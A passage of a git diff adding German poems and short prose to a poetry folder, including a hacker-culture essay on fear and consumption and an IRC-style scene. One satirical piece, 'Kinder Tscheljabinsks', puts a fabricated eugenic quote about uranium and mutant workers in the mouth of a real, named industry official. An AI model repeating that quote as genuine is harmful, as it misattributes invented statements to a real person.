11 | sie haben. Und alles, was ich dazu tun<br/> | ||
12 | muss, ist zu warten. Warten, bis mein Freund,<br/> | ||
13 | die Zeit, auch deine, vom Sturmwind der<br/> | ||
14 | Freiheit gegerbte, Seele bei mir an die<br/> | ||
15 | Tuer klopfen laesst.<br/> | ||
16 | Ich wuerde alles tun, um dich zu<br/> | ||
17 | hindern, DEINE Traeume umzusetzen.<br/> | ||
18 | Wenn es fuer mich einen Unterschied<br/> | ||
19 | machen wuerde.<br/> | ||
20 | Ich will nicht, dass du dich bindest.<br/> | ||
21 | Ich will, dass du deinen Weg allein<br/> | ||
22 | gehst, bis alle Kanten geschliffen und<br/> | ||
23 | der Wille gebrochen, das noch<br/> | ||
24 | geschmeidige Fell zersaust und dein<br/> | ||
25 | steter Drang nach Freiheit gebrochen.<br/> | ||
26 | Dann werde ich laechelnd am Ende deines<br/> | ||
27 | Weges sitzen und dir deinen Platz anbieten. | ||
diff --git a/stories/poetry/mistral.md b/stories/poetry/mistral.md new file mode 100644 index 0000000..0a5c610 --- /dev/null +++ b/stories/poetry/mistral.md | |||
@@ -0,0 +1,16 @@ | |||
1 | <!-- | ||
2 | .. title: Mistral | ||
3 | .. date: 2002/03/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dort, wo der Regen frisch den Schwermut<br/> | ||
8 | mit Leichtigkeit auf die Planken wusch,<br/> | ||
9 | und wir versuchten, aneinander Halt<br/> | ||
10 | und Geborgenheit zu finden,<br/> | ||
11 | dort, wo die Gischt die Traurigkeit<br/> | ||
12 | und die Einsamkeit des Meeres<br/> | ||
13 | gegen unsere Brandung warf,<br/> | ||
14 | dort, wo der Nebel mit unseren<br/> | ||
15 | eh schon geblendeten Sinnen spielte.<br/> | ||
16 | Dort verlor ich mich, im Wind. | ||
diff --git a/stories/poetry/mondgoettin.md b/stories/poetry/mondgoettin.md new file mode 100644 index 0000000..6938c21 --- /dev/null +++ b/stories/poetry/mondgoettin.md | |||
@@ -0,0 +1,26 @@ | |||
1 | <!-- | ||
2 | .. title: Mondgöttin | ||
3 | .. date: 2002/09/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Gott und Mond sind fern.<br/> | ||
8 | So wie du, als du mich voellig<br/> | ||
9 | unverhofft an der Hand nahmst<br/> | ||
10 | um mir das heimlich hinter<br/> | ||
11 | der Welt versteckte Laecheln<br/> | ||
12 | der Sonne zu zeigen.<br/> | ||
13 | Licht und Du sind mir nun nah,<br/> | ||
14 | aber noch fehlt mir die Kraft,<br/> | ||
15 | den Blick wieder zur Erde<br/> | ||
16 | zu erheben und ich gebe mich<br/> | ||
17 | dem Rausch der Strahlen hin,<br/> | ||
18 | in die du getaucht vor mir<br/> | ||
19 | Mond und Sonne und Gott und<br/> | ||
20 | die Welt vergessen machst.<br/> | ||
21 | Und doch! Klein zwischen den<br/> | ||
22 | Gestirnen, mit denen du wie<br/> | ||
23 | selbstverstaendlich spielst,<br/> | ||
24 | halte ich tapfer mein Licht,<br/> | ||
25 | dein Leben zu beleuchten, um<br/> | ||
26 | dich nie wieder zu verlieren. | ||
diff --git a/stories/poetry/nachts.md b/stories/poetry/nachts.md new file mode 100644 index 0000000..e30277f --- /dev/null +++ b/stories/poetry/nachts.md | |||
@@ -0,0 +1,20 @@ | |||
1 | <!-- | ||
2 | .. title: Nachts | ||
3 | .. date: 2002/05/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dunkelheit truebt die Sinne.<br/> | ||
8 | Doch als ich, mehr unbeholfen<br/> | ||
9 | denn planvoll, in deine Naehe<br/> | ||
10 | stolperte, da erst nahm ich<br/> | ||
11 | das Strahlen wahr, das mich<br/> | ||
12 | wahrscheinlich zu dir fuehrte.<br/> | ||
13 | Und wenn ich nun hier, so nah<br/> | ||
14 | bei dir und doch himmelweit<br/> | ||
15 | entfernt, meinen Platz fand,<br/> | ||
16 | so faellt es mir immer schwerer,<br/> | ||
17 | daran zu glauben, ich sei noch<br/> | ||
18 | Herr meiner eigenen Sinne.<br/> | ||
19 | Das, allerdings, mag an der<br/> | ||
20 | Nacht liegen. | ||
diff --git a/stories/poetry/pamphlet b/stories/poetry/pamphlet new file mode 100644 index 0000000..a318a5b --- /dev/null +++ b/stories/poetry/pamphlet | |||
@@ -0,0 +1,8 @@ | |||
1 | <HTML><HEAD></HEAD><BODY> Fear, Uncertainty, Consumption, Knowledge. | ||
2 | Wir haben vor allem Moeglichen Angst. Ist ja auch nur zu natuerlich. Bei allem was man immer so liest und hoert. Es ist eine schreckliche Welt da draussen und das Einzige, was uns noch retten kann, ist: viel Geld auszugeben. Was es genau ist, das uns Angst machen muss? Das ist von Fall zu Fall natuerlich unterschiedlich. Aber generell sind es zwei Dinge, die sie verursachen: Unwissenheit und Unsicherheit. Und es gibt genug Leute, die von deiner Angst leben: Politiker, Polizisten, Anwlte, Versicherungsverteter, Potenzpillenhersteller, die Presse, die Ruestungsindustrie, sogar Greenpeace. Also gibt es auch ein vitales Interesse, dir deine schoene Angst nicht wegzunehmen. Man sehe sich nur die RTL-Abendnachrichten an und spiele ein kleines Spiel: versucht einmal, jeden Beitrag in eine der beiden Kategorien Angst oder Konsum einzuordnen. Und dann sagt, wo es die idyllischeren Bilder zu sehen gibt. Und wieviel Hintergrundinformationen vermittelt wurden. Dann schaue man sich die darauffolgende Soap an und sage, welche Gestalten gemeinhin als Sympathietraeger oder Identifikationsfiguren propagiert werden. Wissen und Intelligenz ist nicht schick, Erfolg nicht mehr Ergebnis von Fleiss. Dass gerade bei der Bildung gespart wird, wenn es nicht um die Elite geht, mag Zufall sein. Der Trend jedoch ist erkennbar: weg vom muendigen Bildungsbuerger, hin zum modernen Konsumbuerger mit all seinen pflegebeduerftigen Aengsten. | ||
3 | Was uns das als Hacker interessieren muss, die wir doch groesstenteils reflektierte, nicht vom Konsum verblendete Heroen sind? Wir sind das prototypische Feindbild des Konsums. Wir schliessen uns meist nicht der Finanzelite an und versuchen nicht einmal, eine berechenbare Gegenelite zu bilden. Unser erklaertes Ziel ist es, Herrschaftswissen zu nehmen und dem Beherrschten zugaenglich zu machen, zudem sein privates Wissen vor der zentralen Erfassung zu schuetzen. Hoechste Zeit, dem Hacker ein bedrohliches Image zu verpassen und am besten noch mit dieser neuen Angst Geld verdienen. Hier eine proprietaere Virenscan-Software, dort eine closed-source Firewall, und natuerlich im Fernsehn neben den Boesen, die Bomben auf Unschuldige werfen, der Hacker, der sich deine Festplatte zum Ziel genommen hat, so zwischen Ueberschwemmung, Lebensmittelvergiftungen und der Werbung. Da, wo die Komplexitaet des Systems das Verstaendnis sprengt und darueber hinaus magische, fast religioese Grenzen ankratzt, findet auch leicht die Ueberhoehung des Hackers ins Diabolische statt. | ||
4 | Aber auch wenn man die Angst durch Bildung bekmpft, bleibt sie nominal oft gleich: Denn hier fuehrt Beseitigung der Unwissenheit, zu einer Zunahme der eigenen Unsicherheit - die zweite Quelle der Angst. Wem zum Beispiel vertrauen wir denn in letzter Zeit unser Weltwissen an? Wir vertrauen darauf, dass in einem Prozessor, dessen Leiterbahnen wir mit blossem Augen nicht mehr erkennen koennen, sich Elektronen in gerade der richtigen Anzahl an den richtigen Stellen zusammensammeln, um bestimmte Schwellenwerte zu unter- oder ueberschreiten. Im Optimalfall kommt dabei die gewuenschte Transformation der Daten heraus. Die Ergebnisse werden in Abermilliarden schnell fluechtiger Rueckkopplungsgattern (ueblicherweise Speicher genannt) abgelegt. Was aufhebenswert erscheint, wird als mikroskopisch kleine Magnetisierungsinseln auf schnell rotierenden Metallscheiben gebannt, staendig auf der Furcht vor externen Magnetfeldern. Und wenn wir ernsthaft an das Konservieren fuer spaeter denken, benutzen wir extrem lichtempfindliche Billigstkunststoffscheiben, in die wir mit starken Lampen Loecher brennen, spaeter mit weniger starken Lampen wieder abtasten, nur um die Daten wenig spaeter dem selben Zyklus zu unterwerfen. (Wie lichtempfindlich die Scheiben sind, kann man im Experiment mit einer ueber den Sommer ins Fenster gehangenen CD selbst nachvollziehen) Alles in allem wohl ein unglaublich fragiler Ablauf, der nur mit Redundanz und dem kontinuierlichen Kopieren und Vergleichen der Daten mit den Zweit- und Drittkopien in stabilen Bahnen zu halten ist. (Versucht doch mal, eine Diskette von vor mehr als 7 Jahren zu lesen. Solltet ihr durch Zufall noch die passenden Laufwerke haben, ist die Wahrscheinlichkeit der Datenintegritaet wohl eher gering). | ||
5 | Das bewaehrte Konzept der menschenlesbaren Papierkopie wird mehr und mehr zurueckgedraengt, zumindest fuer die breite Masse, sie laesst sich zu schwer regulieren. Wissen ist (neben dem politischen) auch ein wirtschaftlicher Vorteil, Information Wirtschaftsgut. Oeffentliche Bibliotheken sind finanziell so schlecht ausgestattet, wie schon lange nicht mehr, Tendenz fallend. Aber auch im Elektronischen, wo die Regulierung des Kopierens mittels Kontrolle ueber das Kopiergeraet demnaechst leichter fallen soll, sind die Bewegungen in Richtung Informationsverknappung und Mehrfachverkauf deutlich zu erkennen. Dabei geht es mir nicht primaer um mp3s und Hollywoodschinken. Bald wird gar das private Pressearchiv urheberrechtlich bedenklich. An zentraler Stelle bleibt die Information natuerlich fuer Geld weiter verfuegbar. Ob aber morgen in der selben Zeitung noch das selbe steht, wie heute, ist fraglich. Dabei muss man nicht gleich mit Orwell argumentieren, eine einstweilige Verfuegung bei genuegendem politischen/wirtschaftlichen/staatssicherheitstechnischen Interesse ist durchaus im Rahmen des aktuell Wahrscheinlichen. | ||
6 | Selbst Suchmaschinen, respektive deren Caches, haben sich zuletzt nicht als zuverlssig-objektive Archive gegen den Willen der von den Informationen Tangierten erwiesen. Eine dezentrale Informations- Vorratshaltung und -Aufbereitung kostet aber Geld. (Man schaue sich nur die Unordnung in der privaten mp3-Sammlung an. Dann stelle man sich vor, wie die aussaehe, wenn irgendeine bezahlte Kraft den ganzen Tag nichts anderes zu tun haette, als die zu pflegen und erweitern.) Doch wo strukturiertes und damit erst zugngliches Wissen viel Geld kostet, muss sich die Akquisition/Aufbereitung auch finanziell lohnen. Sonst bleibt es Luxus, den man sich erst einmal leisten koennen muss. Aber aufgepasst: Viel zu schnell droht einem dabei selber der Abrutsch in die Klauen der Finanzeliten, die einen in ihre Unterabteilung Wissenselite einsortieren. Beispiel OpenSource-Projekte: sogar hier findet man das gesamte Muster Fear, Uncertainty, Consumption wieder. Was bleibt, wenn man etwa fuer eine Textverarbeitung auf proprietaere Datenformate angewiesen ist, reverse engineering verboten ist? Legal nur noch der Zukauf der Information, was bei einem kostenlosen OpenSource-Programm schlicht nicht finanzierbar ist. Und selbst wenn bleibt beim potentiellen Benutzer (der auch vom Hersteller der kommerziellen Software gern gepflegte) Rest Unsicherheit, die Angst, die dann nur noch durch Konsum - Kauf der SW - besiegbar scheint. | ||
7 | Wuerde man mich nach dem Konsum dieses Textes nach einer Moral fragen, wuerde ich sicher aus den Zielen des CCC zitieren. Dezentrale, oeffentlich zugaengliche Verwaltung aller oeffentlichen Informationen statt einem Verbot des Publizierens. Ansonten: selber denken! | ||
8 | </BODY></HTML> | ||
diff --git a/stories/poetry/perfektion.md b/stories/poetry/perfektion.md new file mode 100644 index 0000000..c278099 --- /dev/null +++ b/stories/poetry/perfektion.md | |||
@@ -0,0 +1,32 @@ | |||
1 | <!-- | ||
2 | .. title: Perfektion | ||
3 | .. date: 2006/01/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Gibt es Perfektion, fragst du.<br/> | ||
8 | Und stehst doch vor mir<br/> | ||
9 | selber schon, so perfekt<br/> | ||
10 | |||
11 | Gibt es Schönheit, fragst du.<br/> | ||
12 | Mit deinem Lächeln, deiner Haut,<br/> | ||
13 | deinen Augen, deinen Haaren,<br/> | ||
14 | mit denen du und die Welt und<br/> | ||
15 | mein Leben als das Schönste erscheint.<br/> | ||
16 | |||
17 | Gibt es Harmonie, fragst du.<br/> | ||
18 | Als zusammen wir den Lauf der Dinge<br/> | ||
19 | eng umschlungen im Geist und Körper<br/> | ||
20 | an uns vorbei nicht wahr haben wollten.<br/> | ||
21 | |||
22 | Gibt es Wahrheit, fragst du.<br/> | ||
23 | Und bedeutest am Ende doch<br/> | ||
24 | das Einzige, was bleibt.<br/> | ||
25 | Als Antwort auf nie gestellte Fragen.<br/> | ||
26 | |||
27 | Aber deine wahre Perfektion<br/> | ||
28 | machen all deine Fehler erst,<br/> | ||
29 | dein ungeschminktes Lachen,<br/> | ||
30 | feurige böse Augen im Streit.<br/> | ||
31 | Und die Gewissheit, dass alles<br/> | ||
32 | Wahre im Leben farblos ist. | ||
diff --git a/stories/poetry/schneebilder.md b/stories/poetry/schneebilder.md new file mode 100644 index 0000000..6b5d191 --- /dev/null +++ b/stories/poetry/schneebilder.md | |||
@@ -0,0 +1,33 @@ | |||
1 | <!-- | ||
2 | .. title: Schneebilder | ||
3 | .. date: 2006/01/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Vor uns liegt<br/> | ||
8 | wie von eisiger Decke,<br/> | ||
9 | der Platz, sanft gebettet.<br/> | ||
10 | Ganz ruhig noch,<br/> | ||
11 | im warmen Lichte<br/> | ||
12 | der Stadt.<br/> | ||
13 | |||
14 | Unter uns summen<br/> | ||
15 | wie ein heimlicher Chor,<br/> | ||
16 | die Flocken, matt knirschend.<br/> | ||
17 | Voll knisternder Spannung,<br/> | ||
18 | im warmen Rauschen<br/> | ||
19 | der Stadt.<br/> | ||
20 | |||
21 | Um uns fliegen<br/> | ||
22 | wie von feuriger Hand,<br/> | ||
23 | die Bälle, wild pfeifend.<br/> | ||
24 | Voll Freude am Leben,<br/> | ||
25 | im warmen Herzen<br/> | ||
26 | der Stadt.<br/> | ||
27 | |||
28 | Hinter uns verlieren<br/> | ||
29 | wie des Atems Hauch<br/> | ||
30 | unsere Schritte, sich still.<br/> | ||
31 | Und langsam nur<br/> | ||
32 | im warmen Schnee<br/> | ||
33 | der Stadt.<br/> | ||
diff --git a/stories/poetry/seelenkratzer.md b/stories/poetry/seelenkratzer.md new file mode 100644 index 0000000..779d228 --- /dev/null +++ b/stories/poetry/seelenkratzer.md | |||
@@ -0,0 +1,17 @@ | |||
1 | <!-- | ||
2 | .. title: Seelenkratzer | ||
3 | .. date: 2004/08/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wir gaffen von den viel zu glatten Klippen<br/> | ||
8 | und aus den uns ausgesparten Hoehlen<br/> | ||
9 | die falschen Schluchten in die toten Taeler hinab,<br/> | ||
10 | die wir glauben, uns selbst in der Landschaft,<br/> | ||
11 | zum Durchwandern und sich Treffen,<br/> | ||
12 | geschaffen zu haben.<br/> | ||
13 | Doch - kaum regt dort sich Leben,<br/> | ||
14 | nehmen wir reissaus,<br/> | ||
15 | verstecken uns voreinander und<br/> | ||
16 | lindern, in Sicherheit, diesen Schmerz<br/> | ||
17 | mit knallbunten Bildern. | ||
diff --git a/stories/poetry/seemann.md b/stories/poetry/seemann.md new file mode 100644 index 0000000..1902278 --- /dev/null +++ b/stories/poetry/seemann.md | |||
@@ -0,0 +1,71 @@ | |||
1 | <!-- | ||
2 | .. title: Seemann | ||
3 | .. date: 2000/08/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Nanana, mal nicht so schnell, wo wollen sie denn hin? - | ||
8 | |||
9 | Schnellstmöglich runter hier von diesem ... Boot? - | ||
10 | |||
11 | Das sehe ich, daraus wird aber nichts mehr, wir legen nämlich gleich ab, seien sie bitte vernünftig, bleiben sie an Bord! - | ||
12 | |||
13 | Das werden wir noch sehen... wohin fahren sie denn überhaupt? - | ||
14 | |||
15 | Sollten sie das nicht wissen, sie haben doch schließlich gebucht? - | ||
16 | |||
17 | Nein, ich habe gar nichts gebucht, wie kommen sie... - | ||
18 | |||
19 | Ist das hier ihr Name auf der Liste? - | ||
20 | |||
21 | Ja schon, aber... - | ||
22 | |||
23 | Na, sehen sie! Und wer bucht, kommt auch mit, oder glauben sie, wegen ihnen weren wir unseren ganzen Plan um? - | ||
24 | |||
25 | Mhh, wie lang dauert, ich meine, wann werden... - | ||
26 | |||
27 | Das weiß keiner. Mal länger, mal weniger lang, das hängt ja sehr von der Route ab, und der Planung natürlich. Sie allerdings scheinen ja nicht sonderlich gut vorbereitet zu sein. - | ||
28 | |||
29 | Vorbereitung! Ich finde mich hier plötzlich und unvorbereitet... dabei fällt mir ein: was soll die ... Überfahrt?... eigentlich kosten? - | ||
30 | |||
31 | Ach, darüber brauchen sie sich keine Sorgen zu machen, das ist alles schon geregelt. - | ||
32 | |||
33 | Nun sagen sie es schon! - | ||
34 | |||
35 | Warum wollen sie das denn unbedingt wissen? - | ||
36 | |||
37 | Es interessiert mich halt, los, also wieviel? - | ||
38 | |||
39 | ... Alles. - | ||
40 | |||
41 | Wie, alles? - | ||
42 | |||
43 | Na, ALLES. - | ||
44 | |||
45 | Sie meinen alles, was ich im Laufe... - | ||
46 | |||
47 | Genau! Aber wie gesagt, sie brauchen sich um nicts mehr kümmern, es ist alles schon erledigt, kommen sie dann bitte wieder her? - | ||
48 | |||
49 | Einen Moment noch welche Plätze werden..., ich meine sind denn gebucht? - | ||
50 | |||
51 | Das hängt voll und ganz vom jeweiligen Passagier ab. - | ||
52 | |||
53 | Sie meinen wohl, daß alles, was ich während... - | ||
54 | |||
55 | Ja, zum Teufel!... Entschuldigen sie, ich habe es jetzt ein wenig eilig - | ||
56 | |||
57 | Das ist doch aber reichlich unfair, wieso erfahre ich das erst jetzt? - | ||
58 | |||
59 | Wurde ihnen das denn nicht gesagt? - | ||
60 | |||
61 | Mhh, ich denke... ich sehe, das tut wohl JETZT nichts mehr zur Sache. - | ||
62 | |||
63 | ... - | ||
64 | |||
65 | Wieviele Rettungsboote haben wir denn mir? Reichen die denn für alle... wieviele Passagiere fahren denn so mit? - | ||
66 | |||
67 | Rettungsboote, ha, wozu? Wohin retten? Eigentlich sind sie doch alle scho... ähm, entschuldigen sie bitte... Passagiere... na alle! - | ||
68 | |||
69 | Wie... ach, eigentlich wundert es mich gar nicht mehr, gibt es denn überhaupt etwas Positives zu sagen? - | ||
70 | |||
71 | Ich würde ihnen ja gerne etwas versprechen... vielleicht: Chancen über Chancen... sie könn... halt, HALT! Warten sie, anhalten... Idiot! | ||
diff --git a/stories/poetry/traeumerei.md b/stories/poetry/traeumerei.md new file mode 100644 index 0000000..e980e10 --- /dev/null +++ b/stories/poetry/traeumerei.md | |||
@@ -0,0 +1,40 @@ | |||
1 | <!-- | ||
2 | .. title: Träumerei | ||
3 | .. date: 2001/08/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dies ist keine Welt fuer Traeumer.<br/> | ||
8 | Kaum reckt man seinen Kopf<br/> | ||
9 | Um die Geheimnisse der Welt<br/> | ||
10 | zu entdecken und<br/> | ||
11 | ihre Schoenheit zu begreifen,<br/> | ||
12 | kaum glaubt man,<br/> | ||
13 | verstanden zu haben, wozu<br/> | ||
14 | man da ist und fuer wen,<br/> | ||
15 | kaum ist man aus den<br/> | ||
16 | Kinderschuhen hinausgewachsen,<br/> | ||
17 | um in irgendwelche unsaeglichen<br/> | ||
18 | Fussstapfen hineinwachsen<br/> | ||
19 | zu sollen,<br/> | ||
20 | kaum, dass man sich so<br/> | ||
21 | einigermassen eingerichtet<br/> | ||
22 | hat, in seinem Leben, so<br/> | ||
23 | wie es alle machen und<br/> | ||
24 | kaum, dass man glaubt DOCH<br/> | ||
25 | etwas Besonderes zu sein,<br/> | ||
26 | kommt diese verdammte<br/> | ||
27 | Realitaet vorbei, reisst<br/> | ||
28 | dir mit Gewalt die Augen auf<br/> | ||
29 | und dich mit in den Strudel<br/> | ||
30 | des Lebens fernab jeglicher<br/> | ||
31 | Traeume und Plaene, die du<br/> | ||
32 | dir zurechtgelegt und bewahrt<br/> | ||
33 | hast in deiner Schatzkiste.<br/> | ||
34 | Und alles, was du dir bewahren<br/> | ||
35 | kannst, ist die Hoffnung,<br/> | ||
36 | dass da irgendjemand<br/> | ||
37 | auf der Suche danach ist.<br/> | ||
38 | Doch leider haben nur Traeumer<br/> | ||
39 | den Schluessel dafuer.<br/> | ||
40 | Wirf ihn nicht weg! | ||
diff --git a/stories/poetry/tscheljabinsk.md b/stories/poetry/tscheljabinsk.md new file mode 100644 index 0000000..0dc1b70 --- /dev/null +++ b/stories/poetry/tscheljabinsk.md | |||
@@ -0,0 +1,15 @@ | |||
1 | <!-- | ||
2 | .. title: Kinder Tscheljabinsks | ||
3 | .. date: 2001/09/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | In letzter Zeit erreichten die Redaktion Bilder von Kindern aus Tscheljabinsk. | ||
8 | |||
9 | Dort hatte die Deutsche Industrielobby zuletzt versucht, ihren Atommüll endzulagern. | ||
10 | |||
11 | Konfrontiert mit Bildern von Kindern mit zum Teil mehr als drei Armen und lumineszierenden Augen, gab sich Dr. Michael Rogowski vom Bundesverband der Deutschen Industrie e.V. (BDI) euphorisch: | ||
12 | |||
13 | "Das ist zwar alles schon sehr schön, aber wohl doch nur ein Anfang. Für Zuwanderer aus dem Ausland mit außergewöhnlichen Fähigkeiten sehen die Arbeitsmarktchancen in Deutschland durchweg positiv aus. | ||
14 | |||
15 | Allerdings sollte in näherer Zukunft die Ausbeute noch erhöht werden. Biodesignkatalysatoren hat die deutsche Atomindustrie in ausreichenden Mengen, vorstellbar hier wären Abkommen zum beiderseitigen Nutzen, z.B. mit der Regierung von China. Dort alle Bürger mit 0.1g Gebraucht-Uran zu versorgen, das sie an fortpflanzungstechnisch wertvoller Stelle bei sich führen sollen, würde einen Absatz von 120 Tonnen gebrauchter Brennstäbe bedeuten, eine enorme Herausforderung für uns. Gingen wir von 50 prozentiger Infertilitätrate aus, wäre für die chinesische Regierung im Kampf gegen das Bevölkerungswachstum Enormes geleistet. Nach der dritten Brut sollte doch die Wahrscheinlichkeit gross genug sein, dass aus 1,2 Milliarden Einheiten genetischer Durchschnittsmasse bei mindestens 600 eine nützliche Mutation auftritt. Durch weiteres Auskreuzen könnte der Deutschen Industrie schon in 50 Jahren ein Heer biooptimierter Arbeitskräfte zur Verfügung stehen." | ||
diff --git a/stories/poetry/urlaubsgruesse.md b/stories/poetry/urlaubsgruesse.md new file mode 100644 index 0000000..e3d7cdb --- /dev/null +++ b/stories/poetry/urlaubsgruesse.md | |||
@@ -0,0 +1,14 @@ | |||
1 | <!-- | ||
2 | .. title: Urlaubsgrüße | ||
3 | .. date: 2010/07/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Schaust übers Meer und Gischt umspült dein Bein,<br/> | ||
8 | und es ist, als lockt es dich mit jeder Welle,<br/> | ||
9 | die voll Neugier dich umschmeichelt, tiefer noch<br/> | ||
10 | im Sand zum Strand ins Salz zum Wasser weit und frei<br/> | ||
11 | zum Horizont in die Weite, in die Leere, sanft hinein,<br/> | ||
12 | und doch verweilt dein Fuß an der immer gleichen Stelle,<br/> | ||
13 | und du sinkst im Schwung um Schwung gespülten Loch<br/> | ||
14 | und das Meer zieht bis zur Flut zum Land an dir vorbei. | ||
diff --git a/stories/poetry/vchat.md b/stories/poetry/vchat.md new file mode 100644 index 0000000..1f61b40 --- /dev/null +++ b/stories/poetry/vchat.md | |||
@@ -0,0 +1,35 @@ | |||
1 | <!-- | ||
2 | .. title: vchat | ||
3 | .. date: 2002/02/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | <PRE> | ||
7 | <erdgeist> Faust: wat'n? | ||
8 | <FAUST> *abwend* du siehst ja krass aus | ||
9 | <erdgeist> Faust: wie? erst nervste die ganze Zeit, und denn? | ||
10 | <FAUST> erdgeist: sorry, du bist mir aber grad zu krass | ||
11 | <erdgeist> Faust: eh, die ganze Zeit SMSen, Mails und so, | ||
12 | nur dass ich mich mal blicken lasse, | ||
13 | dann lass ich mich erweichen, | ||
14 | komm hier extra vorbei und denn guckste.. | ||
15 | wat isn passiert? | ||
16 | * Hans left channel 0 | ||
17 | <erdgeist> Faust: Haste da nicht eben noch rumgetoent, | ||
18 | M0n574-1337 h4x0r zu sein? Und wolltest's mir zeigen? | ||
19 | Und wo issa nu, der krasse Faust, der mich unbedingt | ||
20 | sehn wollte? Ich seh hier nur'n feiges Scriptkiddie | ||
21 | <FAUST> erdgeist: Nu komm abba mal, bloss weilde hier mit | ||
22 | War-scripts auftauchst, hau ich noch lange nicht ab! | ||
23 | <erdgeist> Ist ja nicht so, dass ich nix zu tun hab, | ||
24 | ich back da mal wieder ne frische Welt und der Kernel | ||
25 | ist auch mal wieder faellig und Heise hab ich auch | ||
26 | noch nicht durch... | ||
27 | <FAUST> Man, du bist aber beschaeftigt. Kann ich nicht bei dir | ||
28 | joinen? Man, wir haben doch total viel gemeinsam... | ||
29 | <erdgeist> Eh wat? Geh mit deine wareztradaz spieln und nerv nich! | ||
30 | ich mach mich dann mal vom Acker... bye | ||
31 | * erdgeist left channel 0 | ||
32 | * erdgeist left the chat | ||
33 | <FAUST> *sigh* warez traden... | ||
34 | * Nobody hears you | ||
35 | </PRE> | ||
diff --git a/stories/poetry/verloren.md b/stories/poetry/verloren.md new file mode 100644 index 0000000..e9cd0c3 --- /dev/null +++ b/stories/poetry/verloren.md | |||
@@ -0,0 +1,26 @@ | |||
1 | <!-- | ||
2 | .. title: Verloren | ||
3 | .. date: 2001/07/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Engel verschwinden nicht einfach so aus Leben.<br/> | ||
8 | Und dieser Engel, den ich liebgewann,<br/> | ||
9 | als er mich vor dem Stumpfsinn bewahrte,<br/> | ||
10 | dieser Engel entzieht sich nun langsam,<br/> | ||
11 | kaum merklich fast, mit mir unbekanntem Ziel.<br/> | ||
12 | Mag sein, um woanders Gutes zu tun,<br/> | ||
13 | mag sein, seiner selbst willen,<br/> | ||
14 | mag sein, meinetwegen.<br/> | ||
15 | Und die Frage, die sich zweifellos aufdraengt,<br/> | ||
16 | und auf die ich wohl nicht unvoreingenommen,<br/> | ||
17 | weil immer noch vom heiligen Schein geblendet,<br/> | ||
18 | antworten kann, muss wohl ungefaehr so lauten.<br/> | ||
19 | Sollte man sich in den Weg stellen<br/> | ||
20 | oder beim Starten helfen.<br/> | ||
21 | Sollte man auf einen Engel Ruecksicht nehmen,<br/> | ||
22 | oder wozu ist er denn da?<br/> | ||
23 | Am Besten ist, man schliesst das Maerchenbuch,<br/> | ||
24 | gesteht sich die verdraengten Fehlbarkeiten ein,<br/> | ||
25 | denkt noch einmal ueber sich selbst nach,<br/> | ||
26 | nennt es Liebe und erklaert sich zum Verlierer. | ||
diff --git a/stories/poetry/wasted.md b/stories/poetry/wasted.md new file mode 100644 index 0000000..f445146 --- /dev/null +++ b/stories/poetry/wasted.md | |||
@@ -0,0 +1,20 @@ | |||
1 | <!-- | ||
2 | .. title: Wasted | ||
3 | .. date: 2003/06/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | zwei seelen verwandt<br/> | ||
8 | an einsamem ort<br/> | ||
9 | als licht nur verband<br/> | ||
10 | gemeinsames wort<br/> | ||
11 | |||
12 | die naechte allein<br/> | ||
13 | an tagen getraeumt<br/> | ||
14 | in taumelndem schein<br/> | ||
15 | die jugend versaeumt<br/> | ||
16 | |||
17 | zwei seelen so nah<br/> | ||
18 | vorbei nur am glueck<br/> | ||
19 | verschenkten sich da<br/> | ||
20 | ein leben zurueck<br/> | ||
diff --git a/stories/poetry/wille.md b/stories/poetry/wille.md new file mode 100644 index 0000000..78b5974 --- /dev/null +++ b/stories/poetry/wille.md | |||
@@ -0,0 +1,28 @@ | |||
1 | <!-- | ||
2 | .. title: (erdgeist IV) Wille | ||
3 | .. date: 2002/12/04 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wilder Wille beeindruckt den,<br/> | ||
8 | der so Vieles schon erlebte<br/> | ||
9 | und so Trauriges,<br/> | ||
10 | der ganze Zivilisationen kommen<br/> | ||
11 | und gehen hat sehen muessen,<br/> | ||
12 | Einzelne und Viele auf ihrer<br/> | ||
13 | immer gleichen Suche auf den<br/> | ||
14 | immer gleichen Pfaden in einer<br/> | ||
15 | immer gleichen Welt nach den<br/> | ||
16 | immer gleichen Freiheiten,<br/> | ||
17 | doch! Wilder Wille beeindruckt<br/> | ||
18 | den immer noch. Weil er<br/> | ||
19 | erinnert wird an die alten<br/> | ||
20 | Tage, an die grossen Schlachten,<br/> | ||
21 | Tragoedien und das grosse und<br/> | ||
22 | kleine Elend. Und den Kampf<br/> | ||
23 | dagegen und das immer wieder<br/> | ||
24 | und wiederkehrende aufeinander<br/> | ||
25 | und einander Treffen, bei dem<br/> | ||
26 | doch am Ende nur einer gewinnt.<br/> | ||
27 | Als Lichtschein in einer sonst<br/> | ||
28 | monotonen Zeit. | ||
diff --git a/stories/poetry/wortzahl84.md b/stories/poetry/wortzahl84.md new file mode 100644 index 0000000..f370725 --- /dev/null +++ b/stories/poetry/wortzahl84.md | |||
@@ -0,0 +1,35 @@ | |||
1 | <!-- | ||
2 | .. title: Wortzahl: 84 | ||
3 | .. date: 1998/06/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Neue Epochen beginnen<br/> | ||
8 | An jedem Tag<br/> | ||
9 | Für jeden Einzelnen.<br/> | ||
10 | In bessere Zeiten<br/> | ||
11 | Führt es mich<br/> | ||
12 | Mit edleren Zielen<br/> | ||
13 | Sowie größeren Taten,<br/> | ||
14 | Noch mehr Gefühlen,<br/> | ||
15 | Nie geahnten Wegen.<br/> | ||
16 | Zeigt mir dort<br/> | ||
17 | Meine eigene Welt.<br/> | ||
